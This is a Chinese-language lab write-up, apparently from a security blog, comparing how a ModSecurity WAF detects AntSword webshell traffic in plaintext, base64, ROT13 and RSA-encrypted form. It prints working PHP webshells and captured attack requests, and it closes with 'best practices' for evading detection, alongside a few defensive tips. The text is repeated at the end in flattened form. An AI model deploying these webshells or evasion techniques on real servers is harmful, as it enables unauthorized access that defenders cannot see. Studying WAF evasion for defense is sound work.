WAF对WebShell流量检测的性能分析
字数 1568 2025-08-18 11:39:15

WebShell流量加密与WAF检测绕过技术分析

1. 背景与问题概述

在一次授权渗透测试中,攻击者发现:

  • 已找到后台上传点并上传WebShell
  • 使用蚁剑(AntSword)连接时因明文传输被WAF检测
  • WebShell被管理员清除

核心问题:明文WebShell流量容易被WAF检测和拦截。

2. 实验环境搭建

2.1 基础环境配置

  • 操作系统:CentOS (VirtualBox虚拟机)
  • Web服务器:Apache/2.4.6
  • PHP版本:5.6.40

安装命令:

# 安装Apache
yum install -y httpd

# 安装PHP 5.6
yum -y install epel-release
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
yum -y install php56w php56w-mysql php56w-gd libjpeg* php56w-ldap php56w-odbc php56w-pear php56w-xml php56w-xmlrpc php56w-mbstring php56w-bcmath
yum -y install httpd php-gd56w php-intl56w php-mysql56w mod_ssl openssl mcrypt php5-mcrypt56w
yum -y install php56w-mcrypt php56w-soap php56w-intl php56w-pdo
systemctl restart httpd.service

2.2 流量分析工具

安装Wireshark用于流量分析:

yum install wireshark*

2.3 WAF模拟环境

使用ModSecurity + OWASP CRS规则集模拟WAF环境:

# 安装ModSecurity
yum -y install mod_security

# 配置OWASP CRS规则
cd /etc/httpd
git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git
mv owasp-modsecurity-crs modsecurity.d
cd modsecurity-crs
cp crs-setup.conf.example crs-setup.conf

# 修改Apache配置
vi /etc/httpd/conf/httpd.conf
# 添加以下内容:
Include conf.modules.d/*.conf
Include modsecurity.d/owasp-modsecurity-crs/crs-setup.conf
Include modsecurity.d/owasp-modsecurity-crs/rules/*.conf

# 修改ModSecurity为仅记录模式
vim /etc/httpd/conf.d/mod_security.conf
SecRuleEngine DetectionOnly

# 查看拦截日志
tail -f /var/log/httpd/model/modsec_audit.log

3. WebShell流量分析

3.1 明文WebShell

WebShell代码

<?php @eval($_POST['aaaa']); ?>

蚁剑连接流量特征

POST /test1.php HTTP/1.1
Host: 192.168.1.13
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 993
Connection: close

aaaa=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){...}

关键危险函数

  • eval() - 执行任意PHP代码
  • posix_getegid() - 获取有效组ID
  • posix_geteuid() - 获取有效用户ID
  • get_current_user() - 获取脚本所有者
  • php_uname() - 获取系统信息

WAF检测结果

  • 触发多条高危规则
  • 匹配规则数:22条
  • 安全等级:3(高)

3.2 Base64加密WebShell

WebShell代码

<?php
$ant=base64_decode("YXNzZXJ0");
$ant($_POST['ant']);
?>

流量特征

  • 使用base64_decode解码
  • 仍然包含可识别的危险函数名

WAF检测结果

  • 检测到base64_decode函数
  • 匹配规则数:14条
  • 安全等级:3(高)

3.3 ROT13加密WebShell

流量特征

  • 使用str_rot13替代base64_decode
  • 其他特征与Base64类似

WAF检测结果

  • 与Base64加密相似
  • 匹配规则数:14条
  • 安全等级:3(高)

3.4 RSA非对称加密WebShell

环境要求

  • PHP开启openssl扩展
  • AntSword 2.1.0+版本支持

配置步骤

  1. 修改php.ini启用openssl:
    extension=php_openssl.dll
    
  2. 在AntSword中:
    • 系统设置 → 编码管理 → 新建编码器 → PHP RSA
    • 生成RSA密钥对

流量特征

POST /rsa.php HTTP/1.1
Host: 192.168.1.13
Content-Type: application/x-www-form-urlencoded
Content-Length: 1712

ant=W%2B9beN7Ltke390bzZGS5JbOBCnO8SRXW6Z8w0WaMF6CdAymaCu6NeWE9FX0kyCFs3jaLkDWkEvcTsSC2gEu85l5ugsVJUK6bTWFlVNeRBoezjTjUJZdjGvnjrxjd5Pn4iZaRjoaxAZPeZP2ozupbevWFUId4ZzkKZ7bIVPrZKk4%3D%7CYjt1kz5Gkj2N6Ajkqp3VXcg%2FEA7emPXV6oyTwZAZS9Ux1%2Fpby5PIuU9LsMZmGlMqGXvRFO23is9MUJpF66yboIAIYqpGRJCDgSP4S%2BfG6DD0lRYGEOIEsfpaLSVMhxZtR6OnFXp%2FfbXqmgGUk0a8HCUfQ83XmXS%2BRsl0Yx2PFc4%3D%7CAWtIrpychlQENib6basrK89LJcjnKk%2Bf5mVM72MOnPHxaviQFXws2TKNdGPI4SI9%2Fkwl%2FUGqB22s6NOwCza1f%2BkzGK7FqEciITMZMNFbokFsmjG8IiWkRO%2B%2BbWWnsMesfavJub9aEln41x8U97WjgKGKMMdqXZHrIRS4KU8pQhU%3D%7CXLL0DnlWOLx3hNXd2VGzmbdcgmtQoiyiiPNQCiBkAbUK1mLM14l6f22Pkl2tSSw%2F9dYIkdZ91wUok9GHDBMmKkL6D%2BJGQxrJDyQXEfytOzfzZmKqp%2BJ%2BryVm2zwLJMXTdpZ%2BUsBWgVzlD%2Bxga6%2F7rCqkG%2FtaWM6e%2BGegcS4lWTE%3D%7CJGJR50q4jSkL028qffvT%2Be%2BnJcMQth6jz86sntyuI3GZQUtjS5%2FoCByIqsGi8zPwCKS0J%2FAEiEGhAwN7%2FBQXYjyVWAs5VpDhPrVUs7EbqFgllVmrNt8T5Rt7O%2FCHVSiR2AQjyG%2BxB1LjO5ElX%2FH8Pfh25dDpVaFt3MEr1lxT69I%3D%7CSIirF52ZEhs%2FMBfco2kWouurB%2F%2FhCvLG29%2BK70a6t8Io%2FE%2F7VL5IO38s2j%2Bjq%2BSw6dUDL9cEUbEx2G2U4r0fHiDSYPbbn9WS6FbQSCPHxG6lxLHCXmmkKxj%2B2P8khyMM%2FHdVCWai%2B5L5hXYr%2BUWFkCkbv%2BUyYUSsfL29sGxWeVA%3D%7Ci1qZBSL6Dfu31cisSj3J%2BY7epLuQl62DdEWMCiZRQOz5AHFsPFsWtO59uedRC0CfMOhcbIDGGq2GNThL8VPz%2FUfLJTd3kuoFo7p225iPcYOKJS75V36ccHw3bMI3LOWcEhUF3LPX2YcaLSvwDDyHfrnWL2Qj6VmQKew8edoAIdU%3D%7CkJih3pPT70J6BiPll9o4PtH%2Byl%2BmB8%2BUPDAS%2FfAu4uzi2yDMCIdzdkaFLlnsUKewHXLf1mWWVpGkfqLCttgZed9wUtl6N22C3nQGZqZ%2FqnNiKeBYK0%2FJBmimOAf7nSMB1WF%2Bab5RmRq6cSSwrWc4ya93kVJzmIg1BdyaiycdN5I%3D%7CHV2y7vs6wQUIQ8DnvveCeD8xtjRecf%2F%2B7rAl7Y4Wa8S4Y0onKYHOz2Nz0hgBJtFN%2BLRIj9%2B%2FYyOq%2Fslq0XW%2BolQCUl5hf8%2F3Y9OmlxKvSCGf3A0IIAquqSaJXpU4w8rqVyP9Od2bgDXDzsOx8YgVdigeyZxLS0TNNODTGIATb7Y%3D

WAF检测结果

  • 仅检测到Host头为IP地址的低风险警告
  • 匹配规则数:1条
  • 安全等级:1(低)

4. 技术对比与结论

加密方式 可检测特征 匹配规则数 安全等级 隐蔽性
明文 所有危险函数 22 3(高)
Base64 base64_decode等 14 3(高)
ROT13 str_rot13等 14 3(高)
RSA 几乎无 1 1(低)

最佳实践建议

  1. 优先使用RSA非对称加密WebShell
  2. 确保PHP环境开启openssl扩展
  3. 配合修改User-Agent等请求头
  4. 避免使用易被检测的IP地址作为Host
  5. 考虑流量分散技术(multi发包)

5. 防御建议

对于防御方:

  1. 加强非对称加密流量的检测能力
  2. 结合行为分析而不仅是特征匹配
  3. 监控异常的文件上传行为
  4. 定期更新WAF规则集
  5. 实施多层防御策略

6. 扩展思考

进一步规避检测的技术方向:

  1. 代码混淆技术
  2. 流量时序分散
  3. 合法服务伪装
  4. 内存WebShell
  5. 无文件攻击技术

注意:本文所有技术仅用于安全研究和技术学习,实际使用需获得合法授权。

WebShell流量加密与WAF检测绕过技术分析 1. 背景与问题概述 在一次授权渗透测试中,攻击者发现: 已找到后台上传点并上传WebShell 使用蚁剑(AntSword)连接时因明文传输被WAF检测 WebShell被管理员清除 核心问题:明文WebShell流量容易被WAF检测和拦截。 2. 实验环境搭建 2.1 基础环境配置 操作系统:CentOS (VirtualBox虚拟机) Web服务器:Apache/2.4.6 PHP版本:5.6.40 安装命令: 2.2 流量分析工具 安装Wireshark用于流量分析: 2.3 WAF模拟环境 使用ModSecurity + OWASP CRS规则集模拟WAF环境: 3. WebShell流量分析 3.1 明文WebShell WebShell代码 : 蚁剑连接流量特征 : 关键危险函数 : eval() - 执行任意PHP代码 posix_getegid() - 获取有效组ID posix_geteuid() - 获取有效用户ID get_current_user() - 获取脚本所有者 php_uname() - 获取系统信息 WAF检测结果 : 触发多条高危规则 匹配规则数:22条 安全等级:3(高) 3.2 Base64加密WebShell WebShell代码 : 流量特征 : 使用 base64_decode 解码 仍然包含可识别的危险函数名 WAF检测结果 : 检测到 base64_decode 函数 匹配规则数:14条 安全等级:3(高) 3.3 ROT13加密WebShell 流量特征 : 使用 str_rot13 替代 base64_decode 其他特征与Base64类似 WAF检测结果 : 与Base64加密相似 匹配规则数:14条 安全等级:3(高) 3.4 RSA非对称加密WebShell 环境要求 : PHP开启openssl扩展 AntSword 2.1.0+版本支持 配置步骤 : 修改php.ini启用openssl: 在AntSword中: 系统设置 → 编码管理 → 新建编码器 → PHP RSA 生成RSA密钥对 流量特征 : WAF检测结果 : 仅检测到Host头为IP地址的低风险警告 匹配规则数:1条 安全等级:1(低) 4. 技术对比与结论 | 加密方式 | 可检测特征 | 匹配规则数 | 安全等级 | 隐蔽性 | |---------|-----------|-----------|---------|-------| | 明文 | 所有危险函数 | 22 | 3(高) | 差 | | Base64 | base64_ decode等 | 14 | 3(高) | 中 | | ROT13 | str_ rot13等 | 14 | 3(高) | 中 | | RSA | 几乎无 | 1 | 1(低) | 优 | 最佳实践建议 : 优先使用RSA非对称加密WebShell 确保PHP环境开启openssl扩展 配合修改User-Agent等请求头 避免使用易被检测的IP地址作为Host 考虑流量分散技术(multi发包) 5. 防御建议 对于防御方: 加强非对称加密流量的检测能力 结合行为分析而不仅是特征匹配 监控异常的文件上传行为 定期更新WAF规则集 实施多层防御策略 6. 扩展思考 进一步规避检测的技术方向: 代码混淆技术 流量时序分散 合法服务伪装 内存WebShell 无文件攻击技术 注意 :本文所有技术仅用于安全研究和技术学习,实际使用需获得合法授权。